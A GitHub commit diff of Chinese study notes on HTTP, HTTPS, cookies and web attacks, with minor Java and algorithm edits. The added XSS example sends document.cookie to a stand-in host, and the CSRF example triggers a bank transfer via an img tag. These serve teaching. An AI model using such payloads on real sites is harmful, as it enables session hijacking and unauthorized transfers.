Merge pull request #3 from CyC2018/master

update
This commit is contained in:
Kwongtai 2018-04-01 09:57:25 +08:00 committed by GitHub
commit 1ca93e8255
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
147 changed files with 197 additions and 167 deletions

View File

@ -41,8 +41,8 @@
* [七、Web 攻击技术](#七web-攻击技术) * [七、Web 攻击技术](#七web-攻击技术)
* [攻击模式](#攻击模式) * [攻击模式](#攻击模式)
* [跨站脚本攻击](#跨站脚本攻击) * [跨站脚本攻击](#跨站脚本攻击)
* [SQL 注入攻击](#sql-注入攻击)
* [跨站点请求伪造](#跨站点请求伪造) * [跨站点请求伪造](#跨站点请求伪造)
* [SQL 注入攻击](#sql-注入攻击)
* [拒绝服务攻击](#拒绝服务攻击) * [拒绝服务攻击](#拒绝服务攻击)
* [八、各版本比较](#八各版本比较) * [八、各版本比较](#八各版本比较)
* [HTTP/1.0 与 HTTP/1.1 的区别](#http10-与-http11-的区别) * [HTTP/1.0 与 HTTP/1.1 的区别](#http10-与-http11-的区别)
@ -67,7 +67,7 @@
URI 包含 URL 和 URN目前 WEB 只有 URL 比较流行,所以见到的基本都是 URL。 URI 包含 URL 和 URN目前 WEB 只有 URL 比较流行,所以见到的基本都是 URL。
<div align="center"> <img src="../pics//url_diagram.png" width=""/> </div><br> <div align="center"> <img src="../pics//f716427a-94f2-4875-9c86-98793cf5dcc3.jpg" width="400"/> </div><br>
## 请求和响应报文 ## 请求和响应报文
@ -97,6 +97,10 @@ POST 主要目的不是获取资源,而是传输存储在内容实体中的数
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体。 GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体。
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
GET 和 POST 的另一个区别是,使用 GET 方法,浏览器会把 HTTP Header 和 Data 一并发送出去,服务器响应 200OK并返回数据。而使用 POST 方法,浏览器先发送 Header服务器响应 100Continue之后浏览器再发送 Data最后服务器响应 200OK并返回数据。
``` ```
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1 GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
``` ```
@ -107,10 +111,6 @@ Host: w3schools.com
name1=value1&name2=value2 name1=value1&name2=value2
``` ```
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
GET 和 POST 的另一个区别是,使用 GET 方法,浏览器会把 HTTP Header 和 Data 一并发送出去,服务器响应 200OK并返回数据。而使用 POST 方法,浏览器先发送 Header服务器响应 100Continue之后浏览器再发送 Data最后服务器响应 200OK并返回数据。
## HEAD ## HEAD
> 获取报文首部 > 获取报文首部
@ -172,7 +172,7 @@ DELETE /file.html HTTP/1.1
> 要求用隧道协议连接代理 > 要求用隧道协议连接代理
要求在代理服务器通信时建立隧道,使用 SSLSecure Sockets Layer安全套接层和 TLSTransport Layer Security传输层安全协议把通信内容加密后经网络隧道传输。 要求在代理服务器通信时建立隧道,使用 SSLSecure Sockets Layer安全套接层和 TLSTransport Layer Security传输层安全协议把通信内容加密后经网络隧道传输。
```html ```html
CONNECT www.example.com:443 HTTP/1.1 CONNECT www.example.com:443 HTTP/1.1
@ -342,7 +342,16 @@ Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry Cookie: yummy_cookie=choco; tasty_cookie=strawberry
``` ```
### 2. Set-Cookie ### 2. 分类
- 会话期 Cookie浏览器关闭之后它会被自动删除也就是说它仅在会话期内有效。
- 持久性 Cookie指定一个特定的过期时间Expires或有效期Max-Age之后就成为了持久性的 Cookie。
```html
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```
### 3. Set-Cookie
| 属性 | 说明 | | 属性 | 说明 |
| :--: | -- | | :--: | -- |
@ -353,18 +362,20 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry
| Secure | 仅在 HTTPs 安全通信时才会发送 Cookie | | Secure | 仅在 HTTPs 安全通信时才会发送 Cookie |
| HttpOnly | 加以限制,使 Cookie 不能被 JavaScript 脚本访问 | | HttpOnly | 加以限制,使 Cookie 不能被 JavaScript 脚本访问 |
### 3. Session 和 Cookie 区别 ### 4. Session 和 Cookie 区别
Session 是服务器用来跟踪用户的一种手段,每个 Session 都有一个唯一标识Session ID。当服务器创建了一个 Session 时,给客户端发送的响应报文包含了 Set-Cookie 字段,其中有一个名为 sid 的键值对,这个键值对就是 Session ID。客户端收到后就把 Cookie 保存在浏览器中,并且之后发送的请求报文都包含 Session ID。HTTP 就是通过 Session 和 Cookie 这两种方式一起合作来实现跟踪用户状态的Session 用于服务器端Cookie 用于客户端。 Session 是服务器用来跟踪用户的一种手段,每个 Session 都有一个唯一标识Session ID。当服务器创建了一个 Session 时,给客户端发送的响应报文包含了 Set-Cookie 字段,其中有一个名为 sid 的键值对,这个键值对就是 Session ID。客户端收到后就把 Cookie 保存在浏览器中,并且之后发送的请求报文都包含 Session ID。HTTP 就是通过 Session 和 Cookie 这两种方式一起合作来实现跟踪用户状态的Session 用于服务器端Cookie 用于客户端。
### 4. 浏览器禁用 Cookie 的情况 ### 5. 浏览器禁用 Cookie 的情况
会使用 URL 重写技术,在 URL 后面加上 sid=xxx 。 会使用 URL 重写技术,在 URL 后面加上 sid=xxx 。
### 5. 使用 Cookie 实现用户名和密码的自动填写 ### 6. 使用 Cookie 实现用户名和密码的自动填写
网站脚本会自动从保存在浏览器中的 Cookie 读取用户名和密码,从而实现自动填写。 网站脚本会自动从保存在浏览器中的 Cookie 读取用户名和密码,从而实现自动填写。
但是如果 Set-Cookie 指定了 HttpOnly 属性,就无法通过 Javascript 脚本获取 Cookie 信息,这是出于安全性考虑。
## 缓存 ## 缓存
### 1. 优点 ### 1. 优点
@ -448,7 +459,7 @@ Content-Type: text/plain
如果网络出现中断,服务器只发送了一部分数据,范围请求使得客户端能够只请求未发送的那部分数据,从而避免服务器端重新发送所有数据。 如果网络出现中断,服务器只发送了一部分数据,范围请求使得客户端能够只请求未发送的那部分数据,从而避免服务器端重新发送所有数据。
在请求报文首部中添加 Range 字段,然后指定请求的范围,例如 Range:bytes=5001-10000。请求成功的话服务器发送 206 Partial Content 状态。 在请求报文首部中添加 Range 字段指定请求的范围,请求成功的话服务器发送 206 Partial Content 状态。
```html ```html
GET /z4d4kWk.jpg HTTP/1.1 GET /z4d4kWk.jpg HTTP/1.1
@ -504,9 +515,11 @@ HTTP 有以下安全性问题:
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装; 2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
3. 无法证明报文的完整性,报文有可能遭篡改。 3. 无法证明报文的完整性,报文有可能遭篡改。
HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Socket Layer通信再由 SSL 和 TCP 通信。通过使用 SSLHTTPs 提供了加密、认证和完整性保护 HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Socket Layer通信再由 SSL 和 TCP 通信。也就是说使用了隧道进行通信
<div align="center"> <img src="../pics//ssl-offloading.jpg" width=""/> </div><br> 通过使用 SSLHTTPs 具有了加密、认证和完整性保护。
<div align="center"> <img src="../pics//ssl-offloading.jpg" width="700"/> </div><br>
## 加密 ## 加密
@ -521,7 +534,7 @@ HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Socket Layer通信
### 2. 公开密钥 ### 2. 公开密钥
Public-Key Encryption而公开密钥加密使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。 Public-Key Encryption使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
- 优点:更为安全; - 优点:更为安全;
- 缺点:运算速度慢; - 缺点:运算速度慢;
@ -530,7 +543,7 @@ HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Socket Layer通信
### 3. HTTPs 采用的加密方式 ### 3. HTTPs 采用的加密方式
HTTPs 采用混合的加密机制,使用公开密钥加密用于传输对称密钥,之后使用对称密钥加密进行通信。 HTTPs 采用混合的加密机制,使用公开密钥加密用于传输对称密钥,之后使用对称密钥加密进行通信。(下图中的 Session Key 就是对称密钥)
<div align="center"> <img src="../pics//How-HTTPS-Works.png" width="600"/> </div><br> <div align="center"> <img src="../pics//How-HTTPS-Works.png" width="600"/> </div><br>
@ -538,17 +551,18 @@ HTTPs 采用混合的加密机制,使用公开密钥加密用于传输对称
通过使用 **证书** 来对通信方进行认证。 通过使用 **证书** 来对通信方进行认证。
<div align="center"> <img src="../pics//mutualssl_small.png" width=""/> </div><br>
数字证书认证机构CACertificate Authority是客户端与服务器双方都可信赖的第三方机构。服务器的运营人员向 CA 提出公开密钥的申请CA 在判明提出申请者的身份之后,会对已申请的公开密钥做数字签名,然后分配这个已签名的公开密钥,并将该公开密钥放入公开密钥证书后绑定在一起。 数字证书认证机构CACertificate Authority是客户端与服务器双方都可信赖的第三方机构。服务器的运营人员向 CA 提出公开密钥的申请CA 在判明提出申请者的身份之后,会对已申请的公开密钥做数字签名,然后分配这个已签名的公开密钥,并将该公开密钥放入公开密钥证书后绑定在一起。
进行 HTTPs 通信时,服务器会把证书发送给客户端,客户端取得其中的公开密钥之后,先进行验证,如果验证通过,就可以开始通信。 进行 HTTPs 通信时,服务器会把证书发送给客户端,客户端取得其中的公开密钥之后,先进行验证,如果验证通过,就可以开始通信。
<div align="center"> <img src="../pics//mutualssl_small.png" width=""/> </div><br>
使用 OpenSSL 这套开源程序,每个人都可以构建一套属于自己的认证机构,从而自己给自己颁发服务器证书。浏览器在访问该服务器时,会显示“无法确认连接安全性”或“该网站的安全证书存在问题”等警告消息。 使用 OpenSSL 这套开源程序,每个人都可以构建一套属于自己的认证机构,从而自己给自己颁发服务器证书。浏览器在访问该服务器时,会显示“无法确认连接安全性”或“该网站的安全证书存在问题”等警告消息。
## 完整性 ## 完整性
SSL 提供摘要功能来验证完整性。 SSL 提供报文摘要功能来验证完整性。
# 七、Web 攻击技术 # 七、Web 攻击技术
@ -560,7 +574,7 @@ SSL 提供摘要功能来验证完整性。
### 2. 被动攻击 ### 2. 被动攻击
设下圈套,让用户发送有攻击代码的 HTTP 请求,那么用户发送了该 HTTP 请求之后就会泄露 Cookie 等个人信息,具有代表性的有跨站脚本攻击和跨站请求伪造。 设下圈套,让用户发送有攻击代码的 HTTP 请求,用户会泄露 Cookie 等个人信息,具有代表性的有跨站脚本攻击和跨站请求伪造。
## 跨站脚本攻击 ## 跨站脚本攻击
@ -568,6 +582,20 @@ SSL 提供摘要功能来验证完整性。
Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML 和 JavaScript。利用网页开发时留下的漏洞通过巧妙的方法注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和 Cookie 等各种内容。 Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML 和 JavaScript。利用网页开发时留下的漏洞通过巧妙的方法注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和 Cookie 等各种内容。
例如有一个论坛网站,攻击者可以在上面发表以下内容:
```html
<script>location.href="//domain.com/?c=" + document.cookie</script>
```
之后该内容可能会被渲染成以下形式:
```html
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
另一个用户浏览了含有这个内容的页面将会跳往 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
### 2. 危害 ### 2. 危害
- 伪造虚假的输入表单骗取个人信息 - 伪造虚假的输入表单骗取个人信息
@ -595,6 +623,44 @@ SSL 提供摘要功能来验证完整性。
?> ?>
``` ```
## 跨站点请求伪造
### 1. 概念
Cross-site request forgeryCSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。
假如一家银行用以执行转账操作的 URL 地址如下:
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
```
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
```
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
```
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
### 2. 防范手段
(一)检查 Referer 字段
HTTP 头中有一个 Referer 字段这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时通常来说Referer 字段应和请求的地址位于同一域名下。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
(二)添加校验 Token
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。
## SQL 注入攻击 ## SQL 注入攻击
### 1. 概念 ### 1. 概念
@ -645,36 +711,6 @@ strSQL = "SELECT * FROM users;"
- 其他,使用其他更安全的方式连接 SQL 数据库。例如已修正过 SQL 注入问题的数据库连接组件,例如 ASP.NET 的 SqlDataSource 对象或是 LINQ to SQL。 - 其他,使用其他更安全的方式连接 SQL 数据库。例如已修正过 SQL 注入问题的数据库连接组件,例如 ASP.NET 的 SqlDataSource 对象或是 LINQ to SQL。
- 使用 SQL 防注入系统。 - 使用 SQL 防注入系统。
## 跨站点请求伪造
### 1. 概念
Cross-site request forgeryXSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。
假如一家银行用以执行转账操作的 URL 地址如下http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
那么,一个恶意攻击者可以在另一个网站上放置如下代码:&lt;img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
### 2. 防范手段
(一)检查 Referer 字段
HTTP 头中有一个 Referer 字段这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时通常来说Referer 字段应和请求的地址位于同一域名下。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
(二)添加校验 Token
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。
## 拒绝服务攻击 ## 拒绝服务攻击
### 1. 概念 ### 1. 概念
@ -733,3 +769,4 @@ HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式。
- [维基百科SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A) - [维基百科SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0) - [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A) - [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)

View File

@ -503,7 +503,7 @@ public static void main(java.lang.String[]);
每个类都有一个 **Class** 对象,包含了与类有关的信息。当编译一个新类时,会产生一个同名的 .class 文件,该文件内容保存着 Class 对象。 每个类都有一个 **Class** 对象,包含了与类有关的信息。当编译一个新类时,会产生一个同名的 .class 文件,该文件内容保存着 Class 对象。
类加载相当于 Class 对象的加载。类在第一次使用时才动态加载到 JVM 中,可以使用 Class.forName('com.mysql.jdbc.Driver.class') 这种方式来控制类的加载,该方法会返回一个 Class 对象。 类加载相当于 Class 对象的加载。类在第一次使用时才动态加载到 JVM 中,可以使用 Class.forName("com.mysql.jdbc.Driver") 这种方式来控制类的加载,该方法会返回一个 Class 对象。
反射可以提供运行时的类信息,并且这个类可以在运行时才加载进来,甚至在编译时期该类的 .class 不存在也可以加载进来。 反射可以提供运行时的类信息,并且这个类可以在运行时才加载进来,甚至在编译时期该类的 .class 不存在也可以加载进来。

View File

@ -215,7 +215,7 @@ public String replaceSpace(StringBuffer str) {
输入链表的第一个节点,从尾到头反过来打印出每个结点的值。 输入链表的第一个节点,从尾到头反过来打印出每个结点的值。
<div align="center"> <img src="../pics//d99dc9e2-197c-4085-813d-7195da1c6762.png"/> </div><br> <div align="center"> <img src="../pics//d99dc9e2-197c-4085-813d-7195da1c6762.png" width="300"/> </div><br>
## 解题思路 ## 解题思路
@ -301,7 +301,7 @@ preorder = [3,9,20,15,7]
inorder = [9,3,15,20,7] inorder = [9,3,15,20,7]
``` ```
<div align="center"> <img src="../pics//8a4c6ad4-a816-47d1-b93f-7ca4f78ab67a.png"/> </div><br> <div align="center"> <img src="../pics//8a4c6ad4-a816-47d1-b93f-7ca4f78ab67a.png" width="250"/> </div><br>
## 解题思路 ## 解题思路
@ -339,11 +339,11 @@ private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int[] in,
① 如果一个节点有右子树不为空,那么该节点的下一个节点是右子树的最左节点; ① 如果一个节点有右子树不为空,那么该节点的下一个节点是右子树的最左节点;
<div align="center"> <img src="../pics//cb0ed469-27ab-471b-a830-648b279103c8.png"/> </div><br> <div align="center"> <img src="../pics//cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/> </div><br>
② 否则,向上找第一个左链接指向的树包含该节点的祖先节点。 ② 否则,向上找第一个左链接指向的树包含该节点的祖先节点。
<div align="center"> <img src="../pics//e143f6da-d114-4ba4-8712-f65299047fa2.png"/> </div><br> <div align="center"> <img src="../pics//e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/> </div><br>
```java ```java
public class TreeLinkNode { public class TreeLinkNode {
@ -381,7 +381,7 @@ public TreeLinkNode GetNext(TreeLinkNode pNode) {
in 栈用来处理入栈push操作out 栈用来处理出栈pop操作。一个元素进入 in 栈之后,出栈的顺序被反转。当元素要出栈时,需要先进入 out 栈,此时元素出栈顺序再一次被反转,因此出栈顺序就和最开始入栈顺序是相同的,此时先进入的元素先退出,这就是队列的顺序。 in 栈用来处理入栈push操作out 栈用来处理出栈pop操作。一个元素进入 in 栈之后,出栈的顺序被反转。当元素要出栈时,需要先进入 out 栈,此时元素出栈顺序再一次被反转,因此出栈顺序就和最开始入栈顺序是相同的,此时先进入的元素先退出,这就是队列的顺序。
<div align="center"> <img src="../pics//dd9f6026-a514-475b-a707-a2f442e046b2.png"/> </div><br> <div align="center"> <img src="../pics//5acf7550-86c5-4c5b-b912-8ce70ef9c34e.png" width="400"/> </div><br>
```java ```java
Stack<Integer> in = new Stack<Integer>(); Stack<Integer> in = new Stack<Integer>();
@ -413,7 +413,7 @@ public int pop() {
如果使用递归求解,那么会重复计算一些子问题。例如,求 f(10) 需要计算 f(9) 和 f(8),计算 f(9) 需要计算 f(8) 和 f(7),可以看到 f(8) 被重复计算了。 如果使用递归求解,那么会重复计算一些子问题。例如,求 f(10) 需要计算 f(9) 和 f(8),计算 f(9) 需要计算 f(8) 和 f(7),可以看到 f(8) 被重复计算了。
<div align="center"> <img src="../pics//955af054-8872-4569-82e7-2e10b66bc38e.png"/> </div><br> <div align="center"> <img src="../pics//955af054-8872-4569-82e7-2e10b66bc38e.png" width="300"/> </div><br>
递归方法是将一个问题划分成多个子问题求解,动态规划也是如此,但是动态规划会把子问题的解缓存起来,避免重复求解子问题。 递归方法是将一个问题划分成多个子问题求解,动态规划也是如此,但是动态规划会把子问题的解缓存起来,避免重复求解子问题。
@ -797,11 +797,11 @@ private void printNumber(char[] number) {
① 如果该节点不是尾节点,那么可以直接将下一个节点的值赋给该节点,令该节点指向下下个节点,然后删除下一个节点,时间复杂度为 O(1)。 ① 如果该节点不是尾节点,那么可以直接将下一个节点的值赋给该节点,令该节点指向下下个节点,然后删除下一个节点,时间复杂度为 O(1)。
<div align="center"> <img src="../pics//004edd56-1546-4052-a7f9-a9f7895ccec5.png"/> </div><br> <div align="center"> <img src="../pics//004edd56-1546-4052-a7f9-a9f7895ccec5.png" width="600"/> </div><br>
② 否则,就需要先遍历链表,找到节点的前一个节点,然后让前一个节点指向 null时间复杂度为 O(N)。 ② 否则,就需要先遍历链表,找到节点的前一个节点,然后让前一个节点指向 null时间复杂度为 O(N)。
<div align="center"> <img src="../pics//db4921d4-184b-48ba-a3cf-1d1141e3ba2d.png"/> </div><br> <div align="center"> <img src="../pics//db4921d4-184b-48ba-a3cf-1d1141e3ba2d.png" width="600"/> </div><br>
综上,如果进行 N 次操作,那么大约需要操作节点的次数为 N-1+N=2N-1其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数N 表示 1 个为节点以 O(n) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2因此该算法的平均时间复杂度为 O(1)。 综上,如果进行 N 次操作,那么大约需要操作节点的次数为 N-1+N=2N-1其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数N 表示 1 个为节点以 O(n) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2因此该算法的平均时间复杂度为 O(1)。
@ -826,7 +826,7 @@ public ListNode deleteNode(ListNode head, ListNode tobeDelete) {
## 题目描述 ## 题目描述
<div align="center"> <img src="../pics//8433fbb2-c35c-45ef-831d-e3ca42aebd51.png"/> </div><br> <div align="center"> <img src="../pics//8433fbb2-c35c-45ef-831d-e3ca42aebd51.png" width="500"/> </div><br>
## 解题描述 ## 解题描述
@ -957,7 +957,7 @@ public void reOrderArray(int[] nums) {
## 解题思路 ## 解题思路
<div align="center"> <img src="../pics//207c1801-2335-4b1b-b65c-126a0ba966cb.png"/> </div><br> <div align="center"> <img src="../pics//207c1801-2335-4b1b-b65c-126a0ba966cb.png" width="500"/> </div><br>
```java ```java
public ListNode FindKthToTail(ListNode head, int k) { public ListNode FindKthToTail(ListNode head, int k) {
@ -982,7 +982,7 @@ public ListNode FindKthToTail(ListNode head, int k) {
在相遇点slow 要到环的入口点还需要移动 z 个节点,如果让 fast 重新从头开始移动,并且速度变为每次移动一个节点,那么它到环入口点还需要移动 x 个节点。在上面已经推导出 x=z因此 fast 和 slow 将在环入口点相遇。 在相遇点slow 要到环的入口点还需要移动 z 个节点,如果让 fast 重新从头开始移动,并且速度变为每次移动一个节点,那么它到环入口点还需要移动 x 个节点。在上面已经推导出 x=z因此 fast 和 slow 将在环入口点相遇。
<div align="center"> <img src="../pics//71363383-2d06-4c63-8b72-c01c2186707d.png"/> </div><br> <div align="center"> <img src="../pics//71363383-2d06-4c63-8b72-c01c2186707d.png" width="600"/> </div><br>
```java ```java
public ListNode EntryNodeOfLoop(ListNode pHead) { public ListNode EntryNodeOfLoop(ListNode pHead) {
@ -1040,7 +1040,7 @@ public ListNode ReverseList(ListNode head) {
## 题目描述 ## 题目描述
<div align="center"> <img src="../pics//43f2cafa-3568-4a89-a895-4725666b94a6.png"/> </div><br> <div align="center"> <img src="../pics//43f2cafa-3568-4a89-a895-4725666b94a6.png" width="500"/> </div><br>
## 解题思路 ## 解题思路
@ -1086,7 +1086,7 @@ public ListNode Merge(ListNode list1, ListNode list2) {
## 题目描述 ## 题目描述
<div align="center"> <img src="../pics//4583e24f-424b-4d50-8a14-2c38a1827d4a.png"/> </div><br> <div align="center"> <img src="../pics//4583e24f-424b-4d50-8a14-2c38a1827d4a.png" width="500"/> </div><br>
## 解题思路 ## 解题思路
@ -1109,7 +1109,7 @@ private boolean isSubtree(TreeNode root1, TreeNode root2) {
## 题目描述 ## 题目描述
<div align="center"> <img src="../pics//a2d13178-f1ef-4811-a240-1fe95b55b1eb.png"/> </div><br> <div align="center"> <img src="../pics//a2d13178-f1ef-4811-a240-1fe95b55b1eb.png" width="300"/> </div><br>
## 解题思路 ## 解题思路
@ -1132,7 +1132,7 @@ private void swap(TreeNode root) {
## 题目描述 ## 题目描述
<div align="center"> <img src="../pics//f42443e0-208d-41ea-be44-c7fd97d2e3bf.png"/> </div><br> <div align="center"> <img src="../pics//f42443e0-208d-41ea-be44-c7fd97d2e3bf.png" width="300"/> </div><br>
## 解题思路 ## 解题思路
@ -1156,7 +1156,7 @@ boolean isSymmetrical(TreeNode t1, TreeNode t2) {
下图的矩阵顺时针打印结果为1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9, 5, 6, 7, 11, 10 下图的矩阵顺时针打印结果为1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9, 5, 6, 7, 11, 10
<div align="center"> <img src="../pics//0f373947-c68f-45b4-a59e-086154745ac5.png"/> </div><br> <div align="center"> <img src="../pics//0f373947-c68f-45b4-a59e-086154745ac5.png" width="300"/> </div><br>
## 解题思路 ## 解题思路
@ -1240,7 +1240,7 @@ public boolean IsPopOrder(int[] pushA, int[] popA) {
例如以下二叉树层次遍历的结果为1,2,3,4,5,6,7 例如以下二叉树层次遍历的结果为1,2,3,4,5,6,7
<div align="center"> <img src="../pics//348bc2db-582e-4aca-9f88-38c40e9a0e69.png"/> </div><br> <div align="center"> <img src="../pics//348bc2db-582e-4aca-9f88-38c40e9a0e69.png" width="250"/> </div><br>
## 解题思路 ## 解题思路
@ -1336,7 +1336,7 @@ public ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
例如,下图是后序遍历序列 3,1,2 所对应的二叉搜索树。 例如,下图是后序遍历序列 3,1,2 所对应的二叉搜索树。
<div align="center"> <img src="../pics//836a4eaf-4798-4e48-b52a-a3dab9435ace.png"/> </div><br> <div align="center"> <img src="../pics//836a4eaf-4798-4e48-b52a-a3dab9435ace.png" width="150"/> </div><br>
## 解题思路 ## 解题思路
